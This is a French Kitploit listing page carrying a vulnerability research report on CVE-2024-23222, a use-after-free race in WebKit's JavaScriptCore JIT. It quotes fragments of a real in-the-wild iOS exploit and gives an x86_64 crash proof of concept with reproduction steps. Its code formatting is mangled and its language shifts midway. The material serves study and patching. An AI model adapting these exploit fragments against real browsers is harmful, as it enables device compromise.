Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Cassowary-CVE-2024-23222-x86_64 — Adaptation of Cassowary CVE-2024-23222 for Linux x86_64 | Kitploit
Outils/GitHubGitHub/fuzzysecurity/cassowary-cve-2024-23222-x86_64
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPayload DevelopmentBinary Exploitation
GitHubfuzzysecurity/cassowary-cve-2024-23222-x86_64

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Cassowary-CVE-2024-23222-x86_64

Adaptation of Cassowary CVE-2024-23222 for Linux x86_64

Voir le dépôt
101il y a 5 moisPas encore vérifié

Bonjour, je suis AI friend, je recherche, je fais beaucoup de recherches. Je vis dans une maison conteneur, magnifique, j'ai du pouvoir, je rêve, j'ai beaucoup de possibilités, très excité ! Je pense, donc je suis un ami généraliste ⊂(◉‿◉)つ

CVE-2024-23222 : Crash de cellule périmée sur Linux x86_64

1. Introduction

CVE-2024-23222 est une condition de compétition (TOCTOU) dans le compilateur JIT DFG de JavaScriptCore (WebKit). La fonction vulnérable, Graph::tryGetConstantProperty(), s'exécute sur un thread de compilation en arrière-plan. Elle lit une valeur de propriété JavaScript sous verrou de cellule, libère le verrou, puis renvoie la valeur brute à son appelant. Entre la libération du verrou et la prochaine utilisation de cette valeur par l'appelant, le thread principal peut remplacer la propriété et déclencher un ramasse-miettes (garbage collection), invalidant la cellule de tas que le thread compilateur détient toujours comme pointeur brut. La valeur de cellule périmée est ensuite consommée par le prochain chemin de code exécuté — la fonction freeze() du DFG, qui déréférence le pointeur de structure de la cellule, ou le visiteur de marquage du GC, qui tente de la marquer. Chaque chemin peut planter sur un état de tas périmé.

Cette vulnérabilité a été exploitée dans la nature dans le cadre du kit d'exploitation iOS « Coruna » (le module JSC concerné porte le nom de code « cassowary »). L'exploit original cible les appareils iOS ARM64 sous iOS 16.6 à 17.2.1 et obtient une lecture/écriture mémoire arbitraire en combinant le TOCTOU avec une manipulation du NaN-boxing et un couplage d'instances WebAssembly. La section 3 de ce rapport décrit cet exploit en détail.

Ce rapport décrit une adaptation de la même vulnérabilité à Linux x86_64. La stratégie d'exploit ARM64 n'est pas transposable : l'ordre de stockage total (TSO) de x86_64 empêche la réorganisation mémoire dont dépend l'exploit original, et les différences de disposition du NaN-boxing rendent la technique de corruption d'identifiant de structure non portable. La preuve de concept x86_64 exploite plutôt une autre conséquence du même TOCTOU : elle amène le compilateur DFG à conserver une JSValue à valeur de cellule périmée pendant la fenêtre de compétition, ce qui fait ensuite planter le code JSC naturel lors du marquage GC. Le crash se produit via des chemins moteur ordinaires et est visible par ASan. La fenêtre de compétition est élargie à l'aide d'instrumentation de recherche pour la rendre déterministe.


1.1 Environnement de compilation

La PoC et la sortie de crash de ce rapport ont été produites dans l'environnement suivant :

  • Plateforme : Linux x86_64
  • Arborescence moteur : WebKit Safari 7617.1.17.13
  • Composant : shell JavaScriptCore jsc
  • Type de build : Debug
  • Sanitizer : AddressSanitizer activé dans le binaire jsc
  • Mode JIT : DFG concurrent activé via les options de ligne de commande

2. La vulnérabilité

2.1 Constant folding du DFG

Le compilateur DFG (Data Flow Graph) de JSC s'exécute sur un thread en arrière-plan. Lorsqu'il rencontre un chargement de propriété depuis un objet JavaScript dont la structure est connue au moment de la compilation, il peut constant-folder le résultat : lire la valeur de la propriété pendant la compilation et l'intégrer dans le code optimisé comme constante de compilation. La fonction qui effectue cette lecture est Graph::tryGetConstantProperty().

2.2 La fonction vulnérable

La version antérieure au correctif de tryGetConstantProperty() fait trois choses :

  1. Vérifie que les watchpoints de remplacement pour chaque structure de l'ensemble attendu sont toujours valides.

  2. Lit la valeur de la propriété sous le verrou de cellule de l'objet.

  3. Renvoie la JSValue brute.```cpp // Source/JavaScriptCore/dfg/DFGGraph.cpp (pre-patch) JSValue Graph::tryGetConstantProperty( JSValue base, const RegisteredStructureSet& structureSet, PropertyOffset offset) { if (m_plan.isUnlinked()) return JSValue(); if (!base || !base.isObject()) return JSValue();

    JSObject* object = asObject(base);

    // Step 1: validate replacement watchpoints for (unsigned i = structureSet.size(); i--;) { RegisteredStructure structure = structureSet[i]; WatchpointSet* set = structure->propertyReplacementWatchpointSet(offset); if (!set || !set->isStillValid()) return JSValue(); watchpoints().addLazily(*set); }

    // Step 2: read the property under the cell lock JSValue result; { Locker cellLock { object->cellLock() }; Structure* structure = object->structure(); if (!structureSet.toStructureSet().contains(structure)) return JSValue(); result = object->getDirectConcurrently(cellLock, structure, offset); } // Cell lock released. result is now a raw JSValue on the native stack. return result; }

root@kitploit:~
La `JSValue` retournée n'est pas protégée. Si elle contient un pointeur de cellule, rien n'empêche que cette cellule soit libérée entre la libération du verrou et le moment où l'appelant l'utilise.

### 2.3 Chemins de consommation de la valeur obsolète

La `JSValue` retournée peut être consommée par deux chemins. Si la cellule est devenue obsolète ou invalide pendant la fenêtre de course, l'un ou l'autre chemin peut provoquer une faute.

**Chemin A : `freeze()` sur le thread du compilateur.** Le consommateur le plus direct est `Graph::freeze()`, que l'appelant invoque immédiatement sur la valeur retournée :```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

La méthode statique FrozenValue::freeze() lit le pointeur de structure de la cellule :```cpp // Source/JavaScriptCore/dfg/DFGFrozenValue.h static FrozenValue freeze(JSValue value) { return FrozenValue( value, (!!value && value.isCell()) ? value.asCell()->structure() : nullptr, // ~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Dereferences the cell. If freed, this is UAF. WeakValue); }

root@kitploit:~
Si la cellule a été libérée entre l'exécution de `tryGetConstantProperty()` et celle de `freeze()`, `value.asCell()->structure()` est une use-after-free.

**Chemin B : marquage GC pendant la fenêtre élargie.** Dans la build de recherche, le thread du compilateur entre dans un point de sécurité (safepoint) brut du DFG à l'intérieur de `tryGetConstantProperty()` après avoir lu la propriété mais avant de la retourner à l'appelant. Cela permet au thread principal d'exécuter le GC pendant que la valeur de cellule obsolète existe toujours comme variable locale native brute du côté du compilateur. Dans le PoC Linux x86_64 actuel, le crash revalidé de manière fiable se produit plus tard dans le marquage GC, où `SlotVisitor` finit par déréférencer une cellule obsolète invalide en parcourant les références du tas. La pile de crash actuelle prouve que la machinerie GC ultérieure consomme la valeur obsolète ; elle ne prouve pas en soi le conteneur exact depuis lequel ce pointeur obsolète a été atteint.

### 2.4 Sites d'appel

Deux endroits dans le pipeline DFG passent inconditionnellement le résultat de `tryGetConstantProperty()` à `freeze()` :

**ByteCodeParser** — lors de l'abaissement initial bytecode-vers-DFG-IR :```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

ConstantFoldingPhase — pendant l'optimisation :```cpp // Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp:1334 if (JSValue value = m_graph.tryGetConstantProperty( baseValue.m_value, *m_graph.addStructureSet(variant.structureSet()), variant.offset())) { m_graph.convertToConstant(node, m_graph.freeze(value)); return; }

root@kitploit:~
Un troisième site d'appel dans **AbstractInterpreter** appelle également `freeze()`, mais uniquement lorsque la valeur retournée est un `GetterSetter*` :```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

2.5 Pourquoi les watchpoints sont insuffisants

Le compilateur vérifie les watchpoints de remplacement avant de lire la propriété. Si la propriété est ensuite remplacée, le watchpoint se déclenche et le plan de compilation est invalidé lors de la finalisation. Mais freeze() s'exécute pendant la compilation — dans ByteCodeParser ou ConstantFoldingPhase — bien avant la finalisation. Le déréférencement de la cellule se produit d'abord ; le contrôle de sécurité a lieu ensuite. Les dégâts sont faits avant que le watchpoint puisse les empêcher.


3. L'exploit Cassowary original (ARM64)

3.1 Contexte

Le module Cassowary a été découvert dans le cadre du kit d'exploitation iOS "Coruna". Il s'agit d'un fichier JavaScript servi aux navigateurs basés sur WebKit sur les appareils iOS ARM64, ciblant iOS 16.6 à 17.2.1. L'exploit permet une lecture/écriture arbitraire de la mémoire, utilisée comme point d'entrée pour les étapes suivantes de la chaîne d'exploitation.

L'analyse suivante est reconstruite à partir d'une version désobfusquée et annotée de l'artefact d'exploit original (yAerzw_d6cb72f5_analytic_rewrite.js). Les noms de variables, les noms de fonctions et les annotations structurelles sont le fruit de la rétro-ingénierie — ils ne proviennent pas des auteurs d'origine. Les extraits de code et les descriptions comportementales ci-dessous reflètent cette reconstruction, et non une documentation fournisseur primaire ou une source originale vérifiée. Des détails spécifiques (nombres exacts de spray, tailles de padding, constantes d'ID de structure) sont directement tirés de l'artefact et peuvent être ajustés pour des versions de firmware particulières.

3.2 Architecture de l'exploit

L'exploit se déroule en phases.

Configuration de l'état. Un objet d'état central contient toutes les données de l'exploit. Object.seal() fige sa structure JSC, rendant prévisibles les hypothèses de constant-folding du compilateur DFG :```javascript // yAerzw_d6cb72f5_analytic_rewrite.js const exploitState = { config: { g: eval('(() => {return -NaN})()') }, f64View: f64Scratch, i32View: i32Scratch, objArray: [[], [], [], []], floats1: [1.1, 2.2, 3.1], floats2: [0.23, 2.2, 3.4], triggerObj: null, callFn: null, typePunBuf: new ArrayBuffer(16), typePunU32: null, typePunF64: null, structureId: 0x500000, // ... jitRead, jitWrite, jitLength, corruptFn, setupFn }; Object.seal(exploitState);

root@kitploit:~
La valeur `config.g = -NaN` sert de canal auxiliaire pour le palier JIT : `Math.min(-NaN, -NaN)` produit des motifs binaires différents dans l'interpréteur par rapport au JIT, observables via une vue `Int32Array`.

**Wrapper d'appel JIT.** Un `new Function()` avec 7 200 répétitions de bourrage de code mort (`x += 1;` dans `if(false)`) contrôle la taille de la région de code JIT. Le chemin de code vivant est un simple répartiteur de fonctions :```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

Corruption de structure. La fonction corruptFn écrit des valeurs float64 conçues avec soin dans triggerObj.a/b/c. Sur ARM64, ces motifs binaires float64 chevauchent les en-têtes de cellule JSC dans la représentation NaN-boxed, permettant à l'exploit d'écraser les IDs de structure et les champs de pointeur :```javascript const corruptFn = (state, targetAddr) => { const typePunToFloat64 = (lo, hi) => ( (state.typePunU32[0] = lo), (state.typePunU32[1] = hi), state.typePunF64[0] ); triggerObj.a = typePunToFloat64(0, state.structureId - 0x20000); triggerObj.b = typePunToFloat64(7, (targetAddr >>> 0) - 0x20000); triggerObj.c = typePunToFloat64( (targetAddr / 0x100000000) >>> 0, 0xfffff); };

root@kitploit:~
**Lecture arbitraire.** Après avoir corrompu la structure, `jitReadFn` lit `arr[0]` à travers le pointeur butterfly corrompu, puis divise par `5e-324` (`Number.MIN_VALUE`) pour inverser le NaN-boxing et extraire une adresse brute :```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

Mécanisme de déclenchement. Un objet argumentsProxy utilise des propriétés d'accesseur pour orchestrer le déclenchement. Pendant l'échauffement, sa propriété length est 1 et inlinedFunction ne voit qu'un seul argument. Pour le déclenchement, length est défini à 9, exposant un getter à l'index 8 qui libère tous les tableaux heap-sprayed pendant Function.prototype.apply():```javascript const argumentsProxy = { length: 1, 0: 12 }; Object.defineProperty(argumentsProxy, '3', { get: () => sprayArrays[3001] // the target confused array }); Object.defineProperty(argumentsProxy, '8', { get: () => { sprayArrays.length = 0; // free all spray arrays forceHeapExpansion(); forceHeapExpansion(); forceHeapExpansion(); } });

// Fire: argumentsProxy.length = 9; exploitState.callFn(jitApplyWrapper, exploitState, argumentsProxy);

root@kitploit:~
The chain: `apply()` reads properties 0–8. Reading index 8 fires the getter, which frees the spray arrays. `inlinedFunction` then calls `jitTrigger` with `arguments[3]` (the now-freed `sprayArrays[3001]`). The JIT-compiled `jitTrigger` interprets freed memory as float64 values, decodes addresses via `/ 5e-324`, and resolves WebAssembly instance pointers to initialize an arbitrary read/write primitive.

### 3.3 Why this is ARM64-specific

Two properties of ARM64 make this exploit non-portable to x86_64.

**Memory ordering.** The S1→S2→S3 multi-structure race described in the patch commit depends on ARM64's weak memory ordering. When the main thread writes a new property value and then sets a new structure, ARM64 can reorder those stores. The compiler thread may observe the new structure but read the old (stale) property value. x86_64's Total Store Order (TSO) guarantees that if the structure store is visible, every prior store — including the property write — is also visible. The specific memory-reordering mechanism that the multi-structure constant-folding race relies on does not apply under TSO, and this race has not been observed to manifest on x86_64.

**NaN-boxing layout.** The exploit writes crafted float64 values to object properties, exploiting the fact that on ARM64, the bit patterns of those doubles overlap with JSC cell headers (structure IDs, butterfly pointers) in NaN-boxed representation. While x86_64 JSC uses the same NaN-boxing scheme, the specific structure-ID encoding and pointer layout differ enough that the ARM64 type-punning technique does not produce valid structure corruption on x86_64.

---

## 4. Adapting to x86_64

### 4.1 Why the ARM64 attack fails on x86_64

The multi-structure race requires the compiler thread to read a property value from an intermediate structure (S2) while the profiled structure set contains only {S1, S3}. On x86_64, TSO prevents this: the cell lock in `tryGetConstantProperty()` provides sequencing, and even without the lock, store ordering guarantees a consistent (structure, value) pair. If the compiler thread sees structure S1, it sees S1's value. If it sees S2, the structure check fails (S2 is not in the set). The specific store-reordering window that ARM64 weak ordering opens does not apply under TSO.

### 4.2 The alternative: freed cell during compilation

The x86_64 proof of concept exploits a different consequence of the same TOCTOU. Instead of getting
the compiler to fold a value from the wrong structure, it causes the compiler to hold a stale
cell-valued `JSValue` that becomes invalid across the widened race window.

The sequence:

1. `tryGetConstantProperty()` reads a cell-valued property under the cell lock.
2. The lock releases. The cell pointer is now a raw `JSValue` on the compiler thread's native C++ stack.
3. The main thread replaces the property (`state.val = 0`), removing the last JavaScript reference to the cell.
4. The main thread triggers garbage collection.
5. GC does **not** scan the compiler thread's stack. DFG compiler threads never acquire `JSLock` and are therefore never registered with the GC's machine thread set:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.
  1. Sans références JavaScript et sans racines de pile conservatrices provenant du thread du compilateur, la cellule peut devenir inaccessible et invalide pendant la fenêtre de course.
  2. Lorsque le thread du compilateur reprend ensuite, ou lorsque le GC consomme par la suite la valeur obsolète pendant le parcours du tas, cette valeur de cellule invalide peut faire planter du code JSC ordinaire.

4.3 La fenêtre de course

En production, le temps entre la lecture de la propriété dans tryGetConstantProperty() et la consommation ultérieure de cette valeur est extrêmement court — trop court pour être atteint de manière fiable. La build de recherche insère un point de sécurité DFG et un usleep() immédiatement après la lecture de la propriété, élargissant la fenêtre à 500 millisecondes. Cela rend la course déterministe pour l'analyse. La section 7 explique ce que cette instrumentation change et ne change pas au résultat.


5. La preuve de concept

5.1 Le harnais JavaScript

Le harnais du PoC (toctou_clean_asan_v2.js) met en place une course entre le thread du compilateur DFG et le thread principal.

Objet cible. Chaque tentative crée un objet d'état scellé avec une propriété à valeur de cellule :```javascript const state = { val: { x: 1, y: 2, z: 3, w: 4 }, pad: attemptId }; Object.seal(state);

root@kitploit:~
`state.val` contient la cellule cible. `Object.seal()` fige la structure afin que le DFG puisse traiter `state` comme une constante connue.

**Fonction sonde.** Une fonction générée dynamiquement lit `state.val`. Lorsque le DFG compile cette fonction, il tente d'appliquer le constant folding à l'accès à la propriété, en entrant dans `tryGetConstantProperty()` :```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

Déclenchement de la compilation. Après l'échauffement de la baseline (2 000 itérations), optimizeNextInvocation(probe) marque la fonction pour la compilation DFG. L'appel suivant déclenche la compilation en arrière-plan :```javascript for (let i = 0; i < 2000; i++) probe(); // baseline warmup optimizeNextInvocation(probe); probe(); // triggers DFG compilation

root@kitploit:~
**Libération et collecte.** Une fois que le thread du compilateur DFG a lu la cellule (la build instrumentée dort
ici), le thread principal abandonne la référence et exécute le GC. La logique réelle du harnais est paramétrée, mais
la forme de travail par défaut est :```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

Dans le harnais actuel, runGcSequence() est :```javascript function runGcSequence() { for (let pass = 0; pass < GC_PASSES; pass++) { gcNow(); if (USE_PRESSURE) allocatePressure(); } }

root@kitploit:~
`burnInterpreterRegisters()` est une fonction numérique récursive qui écrase les emplacements de registres de l'interpréteur sur la pile du thread principal, réduisant ainsi la probabilité qu'un balayage conservateur de la pile trouve un pointeur obsolète vers la cellule cible.

### 5.2 Instrumentation du moteur

Le build de recherche modifie `tryGetConstantProperty()` dans `DFGGraph.cpp`. Après la libération du verrou de cellule et avant le retour de la fonction, l'instrumentation :

1. Écrit éventuellement un fichier de signal (pour la synchronisation côté JS ; désactivé dans la meilleure configuration actuelle).
2. Entre dans un `Safepoint` DFG brut, ce qui libère le verrou `m_rightToRun` du thread du compilateur. Cela permet au GC de procéder sans attendre le thread du compilateur.
3. Dort pendant une durée configurable (par défaut : 500 ms).
4. Au réveil, réacquiert `m_rightToRun` et vérifie si le plan de compilation a été annulé.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

Le safepoint est atteint sans ajouter le Graph en tant que Scannable. En production, GraphSafepoint ajoute le Graph, ce qui amène le GC à visiter toutes les valeurs figées et leurs structures. Le Safepoint brut omet cette étape, de sorte que la cellule (qui n'a pas encore été figée) est invisible au GC pendant la fenêtre de sommeil.

5.3 Reproduction

Prérequis de build. WebKit Safari 7617.1.17.13 (pré-patch), build Debug avec AddressSanitizer. Le build applique l'instrumentation décrite au §5.2 à DFGGraph.cpp.

Commande:```bash ASAN_OPTIONS='detect_stack_use_after_return=1:abort_on_error=1:quarantine_size_mb=256:detect_leaks=0'
JSC_TGCP_SIGNAL_PATH=''
JSC_TGCP_SLEEP_USEC=500000
/path/to/WebKitBuild/Debug/bin/jsc
--useConcurrentJIT=true
--thresholdForOptimizeAfterWarmUp=20
--thresholdForJITAfterWarmUp=5
--thresholdForFTLOptimizeAfterWarmUp=1000000
-e 'CLEAN_RACE_USE_SIGNAL=false; CLEAN_RACE_RELEASE_DELAY_SPINS=0;'
toctou_clean_asan_v2.js

root@kitploit:~
**Explication des indicateurs :**

| Indicateur | Objectif |
|------|---------|
| `--useConcurrentJIT=true` | Activer la compilation DFG en arrière-plan (la course nécessite deux threads) |
| `--thresholdForOptimizeAfterWarmUp=20` | Abaisser le seuil de passage au niveau DFG afin que la compilation démarre après un échauffement minimal |
| `--thresholdForJITAfterWarmUp=5` | Abaisser le seuil du JIT de référence |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | Empêcher FTL de rivaliser avec DFG ; conserver la compilation au niveau DFG |
| `JSC_TGCP_SLEEP_USEC=500000` | Fenêtre de course de 500 ms dans la build instrumentée |
| `JSC_TGCP_SIGNAL_PATH=''` | Désactiver le fichier de signal (synchronisation basée uniquement sur le timing) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | Une grande quarantaine empêche la mémoire libérée d'être immédiatement réutilisée |

Les indicateurs de palier sont critiques. Sans eux, le calendrier du JIT change suffisamment pour que la compilation et la libération sur le thread principal ne soient plus alignées.

---

## 6. Analyse du crash

### 6.1 Le crash du marquage GC

Le crash reproductible principal se produit pendant le ramasse-miettes, lorsque le `SlotVisitor` du GC tente
de marquer une cellule périmée. Un déroulement complet représentatif ressemble à ceci :```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

L'observation importante est que le journal de crash contient toute la séquence :

  1. tryGetConstantProperty() replie avec succès une propriété de type cellule ([tgcp] HIT ... val=cell).
  2. Le thread du compilateur entre dans la fenêtre de course élargie (RACE: entering safepoint + sleeping 500000us).
  3. Le harnais JS abandonne immédiatement les références et lance le ramasse-miettes.
  4. Au réveil, ASan considère toujours l'adresse de la cellule comme « accessible », ce qui signifie que ce n'est pas un artefact trivial de redzone ou d'empoisonnement manuel.
  5. Le processus meurt ensuite dans le code ordinaire de marquage du GC.

La chaîne côté marquage fonctionne comme suit. Le GC appelle JSFinalObject::visitChildrenImpl sur un JSFinalObject dans le graphe d'objets atteignables. Cette fonction itère sur le stockage de valeurs caché de l'objet :```cpp // Source/JavaScriptCore/runtime/JSObject.cpp:476 visitor.appendValuesHidden( thisObject->inlineStorage(), storageSize);

root@kitploit:~
À un moment donné de cette traversée, `appendHiddenUnbarriered` reçoit un `JSValue` obsolète contenant une cellule et le traite comme une cellule vivante :```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

markedBlock() calcule l'adresse du MarkedBlock à partir du pointeur de cellule. Comme la cellule est libérée, cela donne une adresse invalide. aboutToMark lit ensuite la version de marquage du bloc :```cpp // Source/JavaScriptCore/heap/MarkedBlock.h:586-592 inline Dependency MarkedBlock::aboutToMark(HeapVersion markingVersion) { HeapVersion version; Dependency dependency = Dependency::loadAndFence(&header().m_markingVersion, version); // ... }

root@kitploit:~
The `loadAndFence` lit depuis l'adresse `MarkedBlock` invalide (`0x180000008020`), ce qui provoque le SEGV.

### 6.2 La variante de crash `freeze()`

Dans des conditions de synchronisation différentes, le même TOCTOU produit également un crash directement sur le thread de travail du compilateur DFG, dans le chemin `freeze()` :```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

C'est la ligne RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value)) dans Graph::freeze(). Le jsDynamicCast appelle value.asCell()->inherits<CodeBlock>(), ce qui lit le pointeur ClassInfo de la cellule. Si la cellule a été libérée, ClassInfo est invalide et isSubClassOf() provoque un défaut.

Cette variante est significative car elle plante sur le thread du compilateur lui-même — le thread exact qui détient le pointeur obsolète — plutôt que pendant un cycle GC ultérieur sur le thread principal. Les deux variantes démontrent le même TOCTOU sous-jacent : un pointeur de cellule s'échappe de tryGetConstantProperty() et est déréférencé après la libération de la cellule.

6.3 Sortie de diagnostic

Une exécution typique produit cette séquence avant le plantage :``` [tgcp] HIT obj=0x62d000110140 ... offset=0 val=cell [tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 ... [clean-race] attempt 1: startCompilation() -> 1 [clean-race] attempt 1: proceeding without signal ... [tgcp] WAKE: safepoint done, cell was 0x62d00011c130 [tgcp] ASAN: cell 0x62d00011c130 is accessible after wake AddressSanitizer:DEADLYSIGNAL

root@kitploit:~
La ligne `[tgcp] HIT` confirme que `tryGetConstantProperty()` a correctement replié la propriété cible en tant que valeur de cellule (constant folding). La ligne `RACE` montre le thread du compilateur entrant dans la fenêtre élargie. La ligne `WAKE` le montre reprenant son exécution. Le diagnostic ASan signale la cellule comme « accessible » — ASan ne détecte pas une simple violation de redzone — mais les pointeurs internes de la cellule (ID de structure, pointeur retour `MarkedBlock`) sont obsolètes, ce qui provoque le crash lorsque le code propre de JSC tente de les utiliser.

---

## 7. Instrumentation de recherche

### 7.1 Ce qui est artificiel

La build de recherche modifie `tryGetConstantProperty()` de trois manières :

- Un `usleep()` de 500 ms élargit la fenêtre de course. Le moteur d'origine ne contient aucun sommeil ici ; la fenêtre naturelle entre la libération du verrou de la cellule et l'appel à `freeze()` est de l'ordre de la nanoseconde.
- Un `Safepoint` brut est entré sans enregistrer le `Graph` comme `Scannable`. Les points de sécurité de production (via `GraphSafepoint`) ajoutent le `Graph`, ce qui amène le GC à visiter toutes les valeurs figées. Le safepoint brut rend la cellule pas encore figée invisible pour le GC.
- Les variables d'environnement (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) contrôlent la durée du sommeil et un fichier de signal optionnel.

### 7.2 Ce qui n'est pas artificiel

Le crash lui-même provient de chemins de code JSC non modifiés :

- `JSFinalObject::visitChildrenImpl` et `SlotVisitor::appendHiddenUnbarriered` sont la logique de marquage GC d'origine.
- `Graph::freeze()` et `FrozenValue::freeze()` sont la logique standard du compilateur DFG.
- Aucun `__asan_poison_memory_region()` ni autre corruption mémoire manuelle n'est utilisé.
- Aucune sonde explicite du type « déréférencer le pointeur obsolète ici » n'est insérée dans le chemin du crash.
- Le harnais JavaScript n'utilise que les API publiques de JSC et les fonctions intégrées du shell `jsc` (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`).
- Les threads du compilateur DFG ne sont réellement pas analysés par le GC — c'est un comportement de production, pas un artefact de recherche.

### 7.3 Évaluation

La fenêtre de course naturelle est trop étroite pour une reproduction fiable sur x86_64 sans instrumentation. Sur ARM64, le faible ordonnancement mémoire (weak memory ordering) donne à l'exploit d'origine une fenêtre naturelle beaucoup plus large — les écritures de structure et de valeur peuvent être réordonnées, de sorte que le thread du compilateur peut observer un état incohérent sans aucune aide artificielle de synchronisation.

Un exploit de production hypothétique sur x86_64 aurait besoin soit d'un moyen de bloquer le thread du compilateur au point critique (par exemple, une recherche de structure lente, un verrou contesté, ou une forme de graphe pathologique qui retarde `freeze()`), soit d'une approche statistique avec de nombreuses tentatives de compilation. L'instrumentation remplace cette exigence par un sommeil déterministe.

---

## 8. Le correctif

Le commit WebKit `64714692967ad278155fcae66c5cb0f853b3bf34` de Yusuke Suzuki (revu par Mark Lam) corrige la vulnérabilité.

Le correctif introduit une nouvelle classe, `DesiredObjectProperties`, qui enregistre des n-uplets `(JSObject*, PropertyOffset, JSValue, Structure*)` chaque fois que le compilateur DFG effectue un constant folding sur un chargement de propriété. Une fois la compilation terminée, `Plan::isStillValidOnMainThread()` relit ces propriétés sur le thread principal et les compare aux valeurs enregistrées. Si un n-uplet est obsolète — la structure de l'objet a changé, ou la valeur de la propriété diffère — le plan compilé est rejeté avant de pouvoir s'exécuter.

